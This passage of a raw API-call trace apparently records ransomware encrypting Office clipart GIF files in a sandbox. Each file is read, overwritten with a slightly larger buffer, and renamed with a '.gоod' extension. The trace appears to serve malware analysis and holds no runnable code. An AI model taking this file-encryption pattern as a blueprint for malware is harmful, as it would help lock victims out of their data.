Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF", lpFilePart=0x0) returned 0x51 [0145.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0145.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02116_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0145.205] GetFileType (hFile=0x644) returned 0x1 [0145.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0145.206] GetFileType (hFile=0x644) returned 0x1 [0145.206] WriteFile (in: hFile=0x644, lpBuffer=0x36a1800*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x36a1800*, lpNumberOfBytesWritten=0x1f9edb18*=0x3f0, lpOverlapped=0x0) returned 1 [0145.206] CloseHandle (hObject=0x644) returned 1 [0145.207] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF", lpFilePart=0x0) returned 0x51 [0145.207] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0145.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0145.207] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02116_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1113bba3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x52c2ffd9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f0)) returned 1 [0145.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0145.207] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02116_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02116_.gif.gоod")) returned 1 [0145.208] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF", lpFilePart=0x0) returned 0x51 [0145.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0145.208] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02134_.gif"), fInfoLevelId=0x0, lpFileInformation=0x36a2ad8 | out: lpFileInformation=0x36a2ad8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110c9494, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110c9494, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110c9494, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x97f)) returned 1 [0145.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0145.209] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF", lpFilePart=0x0) returned 0x51 [0145.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0145.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02134_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0145.209] GetFileType (hFile=0x644) returned 0x1 [0145.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0145.209] GetFileType (hFile=0x644) returned 0x1 [0145.209] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x97f [0145.209] ReadFile (in: hFile=0x644, lpBuffer=0x36a3730, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x36a3730*, lpNumberOfBytesRead=0x1f9edc08*=0x97f, lpOverlapped=0x0) returned 1 [0145.211] CloseHandle (hObject=0x644) returned 1 [0146.005] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF", lpFilePart=0x0) returned 0x51 [0146.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0146.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02134_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0146.006] GetFileType (hFile=0x7f8) returned 0x1 [0146.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0146.006] GetFileType (hFile=0x7f8) returned 0x1 [0146.006] WriteFile (in: hFile=0x7f8, lpBuffer=0x37ae9e8*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x37ae9e8*, lpNumberOfBytesWritten=0x1f9edb18*=0x980, lpOverlapped=0x0) returned 1 [0146.007] CloseHandle (hObject=0x7f8) returned 1 [0146.007] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF", lpFilePart=0x0) returned 0x51 [0146.007] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0146.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0146.007] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02134_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110c9494, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110c9494, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x533c9738, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x980)) returned 1 [0146.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0146.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02134_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02134_.gif.gоod")) returned 1 [0146.008] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF", lpFilePart=0x0) returned 0x51 [0146.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0146.008] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02187_.gif"), fInfoLevelId=0x0, lpFileInformation=0x37afcc0 | out: lpFileInformation=0x37afcc0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110c9494, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x579)) returned 1 [0146.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0146.009] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF", lpFilePart=0x0) returned 0x51 [0146.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0146.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02187_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0146.009] GetFileType (hFile=0x7f8) returned 0x1 [0146.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0146.009] GetFileType (hFile=0x7f8) returned 0x1 [0146.009] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x579 [0146.009] ReadFile (in: hFile=0x7f8, lpBuffer=0x37b0518, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x37b0518*, lpNumberOfBytesRead=0x1f9edc08*=0x579, lpOverlapped=0x0) returned 1 [0146.011] CloseHandle (hObject=0x7f8) returned 1 [0146.036] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF", lpFilePart=0x0) returned 0x51 [0146.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0146.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02187_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0146.037] GetFileType (hFile=0x7f8) returned 0x1 [0146.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0146.037] GetFileType (hFile=0x7f8) returned 0x1 [0146.037] WriteFile (in: hFile=0x7f8, lpBuffer=0x382a600*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x382a600*, lpNumberOfBytesWritten=0x1f9edb18*=0x580, lpOverlapped=0x0) returned 1 [0146.038] CloseHandle (hObject=0x7f8) returned 1 [0146.038] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF", lpFilePart=0x0) returned 0x51 [0146.038] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0146.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0146.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02187_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x53415c40, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x580)) returned 1 [0146.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0146.039] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02187_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02187_.gif.gоod")) returned 1 [0146.039] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", lpFilePart=0x0) returned 0x51 [0146.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0146.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif"), fInfoLevelId=0x0, lpFileInformation=0x382b8d8 | out: lpFileInformation=0x382b8d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4abc)) returned 1 [0146.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0146.509] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", lpFilePart=0x0) returned 0x51 [0146.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0146.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0146.510] GetFileType (hFile=0x630) returned 0x1 [0146.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0146.510] GetFileType (hFile=0x630) returned 0x1 [0146.510] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0146.510] ReadFile (in: hFile=0x630, lpBuffer=0x395bde0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x395bde0*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0146.512] CloseHandle (hObject=0x630) returned 1 [0146.512] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", lpFilePart=0x0) returned 0x51 [0146.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0146.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0146.512] GetFileType (hFile=0x630) returned 0x1 [0146.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0146.512] GetFileType (hFile=0x630) returned 0x1 [0146.512] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x4abc [0146.512] WriteFile (in: hFile=0x630, lpBuffer=0x395e200*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x395e200*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0146.513] CloseHandle (hObject=0x630) returned 1 [0146.513] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", lpFilePart=0x0) returned 0x51 [0146.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0146.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0146.513] GetFileType (hFile=0x630) returned 0x1 [0146.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0146.513] GetFileType (hFile=0x630) returned 0x1 [0146.514] ReadFile (in: hFile=0x630, lpBuffer=0x39604f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x39604f8*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0146.541] CloseHandle (hObject=0x630) returned 1 [0146.542] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", lpFilePart=0x0) returned 0x51 [0146.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0146.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0146.542] GetFileType (hFile=0x630) returned 0x1 [0146.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0146.542] GetFileType (hFile=0x630) returned 0x1 [0146.542] WriteFile (in: hFile=0x630, lpBuffer=0x395f238*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x395f238*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0146.542] CloseHandle (hObject=0x630) returned 1 [0146.542] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", lpFilePart=0x0) returned 0x51 [0146.542] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0146.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0146.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x539009ab, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4acc)) returned 1 [0146.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0146.542] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif.gоod")) returned 1 [0146.546] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", lpFilePart=0x0) returned 0x51 [0146.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0146.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif"), fInfoLevelId=0x0, lpFileInformation=0x39dda78 | out: lpFileInformation=0x39dda78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1653)) returned 1 [0146.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0146.546] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", lpFilePart=0x0) returned 0x51 [0146.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0146.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0146.547] GetFileType (hFile=0x630) returned 0x1 [0146.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0146.547] GetFileType (hFile=0x630) returned 0x1 [0146.547] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: 